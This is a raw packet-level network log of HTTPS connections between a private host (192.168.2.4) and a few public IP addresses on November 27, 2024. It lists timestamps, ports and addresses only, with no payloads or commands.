Nov 27, 2024 04:07:36.653214931 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.653399944 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.653399944 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.653428078 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.653446913 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.657066107 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.657124043 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.657190084 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.657365084 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.657382011 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.661299944 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.661464930 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.661525965 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.661573887 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.661573887 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.661592007 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.661602020 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.663460016 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.663501978 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.663563013 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.663680077 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.663696051 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.718914032 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.718986988 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.719038963 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.719238043 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.719263077 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.719280958 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.719289064 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.722048998 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.722100973 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.722184896 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.722347021 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.722357988 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.940363884 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.940922022 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.940975904 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.941386938 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.941396952 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.137738943 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:37.137830019 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:37.137880087 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:37.138771057 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:37.138792992 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:37.395302057 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.395550013 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.395719051 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:37.399152994 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:37.399182081 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.399204969 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:37.399211884 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.401926994 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:37.401968002 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.402087927 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:37.402208090 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:37.402221918 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:37.578233957 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:37.578313112 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:37.578475952 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:37.578720093 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:37.578737974 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:37.747853994 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:37.756764889 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:37.756803989 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:37.757872105 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:37.757942915 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:37.758332968 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:37.758393049 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:37.758480072 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:37.758490086 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:37.811786890 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:38.217626095 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.218266964 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.218292952 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.218875885 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.218880892 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.262444019 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:38.263128042 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:38.263185024 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:38.263531923 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:38.263546944 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:38.280715942 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:38.280745983 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:38.280934095 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:38.281269073 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:38.281284094 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:38.435834885 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.436326027 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.436362982 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.436781883 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.436786890 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.506196976 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.509324074 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.512196064 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.512243986 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.512723923 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.512742043 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.512953997 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.512974977 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.513380051 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.513385057 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.652599096 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.652672052 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.652762890 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.652973890 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.652995110 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.653006077 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.653012991 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.688011885 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.688066959 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.688179970 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.772386074 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.772419930 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.881052017 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.881119013 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.881311893 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.881447077 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.881469011 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.881479979 CET	49805	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.881485939 CET	443	49805	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.884726048 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.884749889 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.884818077 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.884947062 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.884959936 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.954026937 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.955426931 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.955508947 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.955542088 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.955559015 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.955569983 CET	49807	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.955575943 CET	443	49807	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.958569050 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.958606005 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.958705902 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.958853006 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.958863974 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.962955952 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.963022947 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.963068962 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.963192940 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.963203907 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.963213921 CET	49806	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.963218927 CET	443	49806	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.965420008 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.965450048 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:38.965529919 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.965666056 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:38.965678930 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.123871088 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.124464989 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.124490023 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.125044107 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.125051975 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.386207104 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:39.386526108 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:39.386568069 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:39.386900902 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:39.387294054 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:39.387403011 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:39.435925007 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:39.557791948 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.557984114 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.558059931 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.558255911 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.558270931 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.558281898 CET	49808	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.558286905 CET	443	49808	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.561391115 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.561428070 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.561486006 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.561700106 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:39.561712027 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:39.614077091 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:39.614408016 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:39.614425898 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:39.614773035 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:39.615356922 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:39.615416050 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:39.615523100 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:39.663328886 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:40.126499891 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:40.126677990 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:40.126725912 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:40.127540112 CET	49810	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:40.127556086 CET	443	49810	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:40.507538080 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.508239031 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.508275032 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.509164095 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.509170055 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.665175915 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.665702105 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.665731907 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.666321039 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.666328907 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.732669115 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.733223915 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.733261108 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.733695030 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.733702898 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.773241043 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.773809910 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.773834944 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.774337053 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.774343014 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.941718102 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.941796064 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.941857100 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.942091942 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.942109108 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.942121029 CET	49811	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.942127943 CET	443	49811	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.948046923 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.948111057 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:40.948195934 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.948658943 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:40.948673010 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.110374928 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.110430002 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.110523939 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.110745907 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.110745907 CET	49812	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.110774994 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.110786915 CET	443	49812	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.114456892 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.114501953 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.114577055 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.114708900 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.114725113 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.170437098 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.170512915 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.170591116 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.217761040 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.217827082 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.217953920 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.232094049 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.232125998 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.232156992 CET	49814	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.232166052 CET	443	49814	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.241636992 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.241662025 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.241674900 CET	49813	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.241683006 CET	443	49813	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.277884960 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.277957916 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.278072119 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.310630083 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.310679913 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.342933893 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.342981100 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.343065977 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.346853018 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.346879959 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.367722988 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.371078968 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.371107101 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.372339010 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.372349024 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.855508089 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.855583906 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.855767965 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.855798006 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.855822086 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.855834961 CET	49815	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.855840921 CET	443	49815	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.859486103 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.859529018 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:41.859592915 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.859740973 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:41.859755039 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:42.803853989 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:42.804418087 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:42.804450035 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:42.804955959 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:42.804964066 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:42.894308090 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:42.894850969 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:42.894866943 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:42.895299911 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:42.895304918 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.063635111 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.064176083 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.064198971 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.064666986 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.064671993 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.090725899 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.091217041 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.091249943 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.091645002 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.091654062 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.257155895 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.257236004 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.257304907 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.257476091 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.257497072 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.257520914 CET	49816	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.257527113 CET	443	49816	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.260349035 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.260399103 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.260494947 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.260673046 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.260689020 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.337980032 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.338047981 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.338131905 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.338459015 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.338474989 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.338489056 CET	49817	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.338494062 CET	443	49817	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.342104912 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.342153072 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.342246056 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.342645884 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.342657089 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.498531103 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.498625994 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.498689890 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.505851984 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.505877018 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.505892992 CET	49819	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.505898952 CET	443	49819	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.512043953 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.512090921 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.512288094 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.512490988 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.512511015 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.535362959 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.535419941 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.535486937 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.539788961 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.539824009 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.539849043 CET	49818	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.539855957 CET	443	49818	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.542423010 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.542457104 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.542535067 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.542670965 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.542681932 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.640106916 CET	443	49820	13.107.246.63	192.168.2.4
